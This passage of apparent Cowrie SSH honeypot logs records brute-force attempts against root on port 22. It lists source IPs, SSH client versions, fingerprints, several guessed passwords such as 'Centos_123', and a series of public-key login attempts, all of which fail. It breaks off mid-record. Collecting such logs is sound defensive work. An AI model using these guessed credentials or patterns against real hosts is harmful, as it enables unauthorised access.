{"eventid":"cowrie.login.failed","username":"root","password":"1234123","message":"login attempt [root/1234123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:39.746359Z","src_ip":"77.94.47.83","session":"f6be4cb4d3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:40.874644Z","src_ip":"77.94.47.83","session":"f6be4cb4d3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65112,"dst_ip":"10.17.0.5","dst_port":22,"session":"41335867506e","protocol":"ssh","message":"New connection: 38.93.206.2:65112 (10.17.0.5:22) [session: 41335867506e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:46.986325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:46.995509Z","src_ip":"38.93.206.2","session":"41335867506e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:47.055204Z","src_ip":"38.93.206.2","session":"41335867506e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pakistan","message":"login attempt [root/pakistan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:47.212824Z","src_ip":"38.93.206.2","session":"41335867506e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.81.22","src_port":55826,"dst_ip":"159.203.135.109","dst_port":22,"session":"124ef03f5dc8","protocol":"ssh","message":"New connection: 43.163.81.22:55826 (159.203.135.109:22) [session: 124ef03f5dc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:47.466065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:47.471298Z","src_ip":"43.163.81.22","session":"124ef03f5dc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:47.716718Z","src_ip":"43.163.81.22","session":"124ef03f5dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:48.266691Z","src_ip":"38.93.206.2","session":"41335867506e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikolas","message":"login attempt [root/nikolas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:48.734760Z","src_ip":"43.163.81.22","session":"124ef03f5dc8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:47:49.984707Z","src_ip":"43.163.81.22","session":"124ef03f5dc8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":41662,"dst_ip":"159.203.135.109","dst_port":22,"session":"687e9032edfb","protocol":"ssh","message":"New connection: 171.244.37.97:41662 (159.203.135.109:22) [session: 687e9032edfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:04.378018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:04.383510Z","src_ip":"171.244.37.97","session":"687e9032edfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:04.639304Z","src_ip":"171.244.37.97","session":"687e9032edfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Centos_123","message":"login attempt [root/Centos_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:05.669490Z","src_ip":"171.244.37.97","session":"687e9032edfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:06.925089Z","src_ip":"171.244.37.97","session":"687e9032edfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.59.16.40","src_port":51606,"dst_ip":"10.17.0.5","dst_port":22,"session":"3325562c0261","protocol":"ssh","message":"New connection: 216.59.16.40:51606 (10.17.0.5:22) [session: 3325562c0261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.583546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.589173Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.613632Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:dd:e6:a8:e0:bf:8f:c0:84:7b:dd:a5:f1:c1:fb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4rbaBYHezFEevrumb2V3FRiGOdrg87DlNCUuvISnp4prk8SEwSKrChQNye8f53SStRZqsVO6XUzsHbTKcneqHw3KXPnvr7eVC+zIbTZ5Hiwa7zXrJ8v7q1mA5y+K+wGxwsAEoTiEyIDq0trtt9aMLlaIGpKi+MUc0M2D4+dSucMaUU6jqBQp+TDwwHFWQRSNHZ+CvcnTI2mMHkgj0j47k78zbtboTFTz4HS3V0qipPDGgMq5LkZLrnGKSWuNrA4Y7EP/JSL1NhjM5uP3ByYiVTdTLyJDF9mRooUFfkU0dGRJpBIa5rhNDoFUXoh3AZ91chFADMJLlkDimMAEFh/2d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:dd:e6:a8:e0:bf:8f:c0:84:7b:dd:a5:f1:c1:fb:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.714564Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:dd:e6:a8:e0:bf:8f:c0:84:7b:dd:a5:f1:c1:fb:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4rbaBYHezFEevrumb2V3FRiGOdrg87DlNCUuvISnp4prk8SEwSKrChQNye8f53SStRZqsVO6XUzsHbTKcneqHw3KXPnvr7eVC+zIbTZ5Hiwa7zXrJ8v7q1mA5y+K+wGxwsAEoTiEyIDq0trtt9aMLlaIGpKi+MUc0M2D4+dSucMaUU6jqBQp+TDwwHFWQRSNHZ+CvcnTI2mMHkgj0j47k78zbtboTFTz4HS3V0qipPDGgMq5LkZLrnGKSWuNrA4Y7EP/JSL1NhjM5uP3ByYiVTdTLyJDF9mRooUFfkU0dGRJpBIa5rhNDoFUXoh3AZ91chFADMJLlkDimMAEFh/2d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.719614Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:4e:83:1a:30:78:a6:88:87:e5:8d:bb:ea:75:e2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9OywdXf+KYkaaYisNz9kf8Mo8l2tUKA7v9Z+Wjf7LEpcIkjm0Wdglx04OyGDnKXVS8CDScpcPR8uNHjOAE65GaZLz0TQH+rwXfvxiOkjkdWCYEcKC7+PyJkujY6emmOJXXilW/1kFJXNX7XpIGoNfUh5YqnfuxlYoye6kwQEmObZZxMGEU5E615iXW3YM33mZh3avU/nGY3ed/ES/rGSSz6ccZB4cqCXSO7lKE5Zc1kUEmiNTq7Zsymp/DvxPmKEH6tzz0N6MGUYTEjqCFYJ5FPq07M8ovnLfxnaZTRz3+c4wuT5CvvSvhbFpk1ZI9fF90Mpjm6RF9jaOUwLA6tloQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:4e:83:1a:30:78:a6:88:87:e5:8d:bb:ea:75:e2:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.749167Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:4e:83:1a:30:78:a6:88:87:e5:8d:bb:ea:75:e2:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA9OywdXf+KYkaaYisNz9kf8Mo8l2tUKA7v9Z+Wjf7LEpcIkjm0Wdglx04OyGDnKXVS8CDScpcPR8uNHjOAE65GaZLz0TQH+rwXfvxiOkjkdWCYEcKC7+PyJkujY6emmOJXXilW/1kFJXNX7XpIGoNfUh5YqnfuxlYoye6kwQEmObZZxMGEU5E615iXW3YM33mZh3avU/nGY3ed/ES/rGSSz6ccZB4cqCXSO7lKE5Zc1kUEmiNTq7Zsymp/DvxPmKEH6tzz0N6MGUYTEjqCFYJ5FPq07M8ovnLfxnaZTRz3+c4wuT5CvvSvhbFpk1ZI9fF90Mpjm6RF9jaOUwLA6tloQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.753716Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:7d:2f:de:b3:19:2b:0b:97:64:34:47:b6:23:2b:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyLrYwD2J7YoaCzkwgvHnWolrAbZ3dXCnkCTk40GOuxZbBMsKmZkYMKUj4AAbe91bi6wpfwTNspx7l1hLmw/qMcIrd/jogW5YZJ/Ih5+PTAOxJJp7bynuYyBXDhrzU+0c1Ff17dbQSBbCT24o9mYDiWEWNhETJKBHVrk81l3S6ZNjlgPN/SHZTSrz5kT2QNMEmdaTkbb0xUs3bss/MdaWtJgzCB6v1T5Y7dEuE9MkOKWYZyzHq4Y6+M6jxRKAWs3NsbTyz33lJkxcQUw1g59nJY4KON+054NvOmJ3JbsDR3Ab/GQgCBj3R8OO0/Ch82Ql50H5FYzBETuT2LNgDHNfzQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:7d:2f:de:b3:19:2b:0b:97:64:34:47:b6:23:2b:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.780765Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:7d:2f:de:b3:19:2b:0b:97:64:34:47:b6:23:2b:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyLrYwD2J7YoaCzkwgvHnWolrAbZ3dXCnkCTk40GOuxZbBMsKmZkYMKUj4AAbe91bi6wpfwTNspx7l1hLmw/qMcIrd/jogW5YZJ/Ih5+PTAOxJJp7bynuYyBXDhrzU+0c1Ff17dbQSBbCT24o9mYDiWEWNhETJKBHVrk81l3S6ZNjlgPN/SHZTSrz5kT2QNMEmdaTkbb0xUs3bss/MdaWtJgzCB6v1T5Y7dEuE9MkOKWYZyzHq4Y6+M6jxRKAWs3NsbTyz33lJkxcQUw1g59nJY4KON+054NvOmJ3JbsDR3Ab/GQgCBj3R8OO0/Ch82Ql50H5FYzBETuT2LNgDHNfzQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.785503Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:e7:34:e3:8e:1d:f7:21:87:b7:ec:00:b5:4b:8a:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/LGfYQtk1aE0oTTdrEwoeZIPK9RQYrIr/dd7/VuXj80sXhMj5fXiIpG/yrD2D4RFBpjBXfeokND7944GRP+DQYEAUF0sRwzznsZrOOxecpYNKwQGImSlF1DM6+m+7NyciJFEe7eSKu9bz+o5CwCaZmJl6UQ7H4UbTu68HDAheEaJFJrbXmw8hz/cIInZA2YlpvsuGnDqBp2oTUtj/m9/gkVPru6Is+63qwR3u4l6EyFjq4RmF9qh2Aaf4ncDxyUbXOfhYDUNICZg4+sEblZ/bNIlRbmSRuy9Fn2NAPcWGcBnH47glvF/blu8umYFVIlGvgxqpDVamikaDBHP22qQVCDR4HN9Q2WMlk266qBaizgo/j6w3f69rZgU+LHX76OcLPP9qzUpE2ZJikoteRM7W2lzA+JdHY2rbgKop9UACh/w0LdNNuxdy9sLAh7KhrbxVhgVZKN2sAhNI6ICeNCOxQB/+axF6wA0nIKsMNoG40uIW8jVJu3bQZCTdNKTFyI62PeMIpTW/Wbp6jG3Bfkm8DAf3wVe7gNrJaKEaRSfO69PmQVUWA0biPQmaldMORgo1uVbWPTIQ7wLNu+wnwEUg3yF5rv+Ol135KDmrWwCwU9IR+CK6Coz2CJLyMfJ/TAkbfH42AKgQ+Bfw+Ksz7iOQ/7Tba8IA99rAVUJYFmZqWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:e7:34:e3:8e:1d:f7:21:87:b7:ec:00:b5:4b:8a:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.819516Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:e7:34:e3:8e:1d:f7:21:87:b7:ec:00:b5:4b:8a:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/LGfYQtk1aE0oTTdrEwoeZIPK9RQYrIr/dd7/VuXj80sXhMj5fXiIpG/yrD2D4RFBpjBXfeokND7944GRP+DQYEAUF0sRwzznsZrOOxecpYNKwQGImSlF1DM6+m+7NyciJFEe7eSKu9bz+o5CwCaZmJl6UQ7H4UbTu68HDAheEaJFJrbXmw8hz/cIInZA2YlpvsuGnDqBp2oTUtj/m9/gkVPru6Is+63qwR3u4l6EyFjq4RmF9qh2Aaf4ncDxyUbXOfhYDUNICZg4+sEblZ/bNIlRbmSRuy9Fn2NAPcWGcBnH47glvF/blu8umYFVIlGvgxqpDVamikaDBHP22qQVCDR4HN9Q2WMlk266qBaizgo/j6w3f69rZgU+LHX76OcLPP9qzUpE2ZJikoteRM7W2lzA+JdHY2rbgKop9UACh/w0LdNNuxdy9sLAh7KhrbxVhgVZKN2sAhNI6ICeNCOxQB/+axF6wA0nIKsMNoG40uIW8jVJu3bQZCTdNKTFyI62PeMIpTW/Wbp6jG3Bfkm8DAf3wVe7gNrJaKEaRSfO69PmQVUWA0biPQmaldMORgo1uVbWPTIQ7wLNu+wnwEUg3yF5rv+Ol135KDmrWwCwU9IR+CK6Coz2CJLyMfJ/TAkbfH42AKgQ+Bfw+Ksz7iOQ/7Tba8IA99rAVUJYFmZqWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.825204Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:a9:4e:05:5e:46:21:e5:2c:bb:f0:b3:79:fa:51:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAozWv4dDk5KcIGor5AIBDLG24ZT5g2YoZxGHG/FeDfAilOyxNKddFQq05O3/BVoqgrEXHe06u+58/ZYEWyHLZbPvec44wsVrXtTeULjbvsLvt2V+fGyzToGtCU2GjDx0sRjLqhW5UgFYGZ9cr6bIz5ssRNknempiJhWDoIoZwNq7C5fVOk6KsZZS63W2Sv7JSahQVojRLLOcsuiCdpVU4+acAftQqhmSt/e+YK6i41B2V3a2D+CuILEFOcQc5m5fU8ryZdaLyfLkiUuE9NEFK6r4NLgDjFAgpUGu9wgr9fVe/It5nNOUr++J9amZQw8wLgU252Uyc6EbujipAv91WxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:a9:4e:05:5e:46:21:e5:2c:bb:f0:b3:79:fa:51:05","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.853070Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:a9:4e:05:5e:46:21:e5:2c:bb:f0:b3:79:fa:51:05","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAozWv4dDk5KcIGor5AIBDLG24ZT5g2YoZxGHG/FeDfAilOyxNKddFQq05O3/BVoqgrEXHe06u+58/ZYEWyHLZbPvec44wsVrXtTeULjbvsLvt2V+fGyzToGtCU2GjDx0sRjLqhW5UgFYGZ9cr6bIz5ssRNknempiJhWDoIoZwNq7C5fVOk6KsZZS63W2Sv7JSahQVojRLLOcsuiCdpVU4+acAftQqhmSt/e+YK6i41B2V3a2D+CuILEFOcQc5m5fU8ryZdaLyfLkiUuE9NEFK6r4NLgDjFAgpUGu9wgr9fVe/It5nNOUr++J9amZQw8wLgU252Uyc6EbujipAv91WxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.859964Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:14.888309Z","src_ip":"216.59.16.40","session":"3325562c0261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":38240,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c9062fcdfd3","protocol":"ssh","message":"New connection: 43.135.168.126:38240 (159.203.135.109:22) [session: 8c9062fcdfd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:24.606575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:48:24.611282Z","src_ip":"43.135.168.126","session":"8c9062fcdfd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group1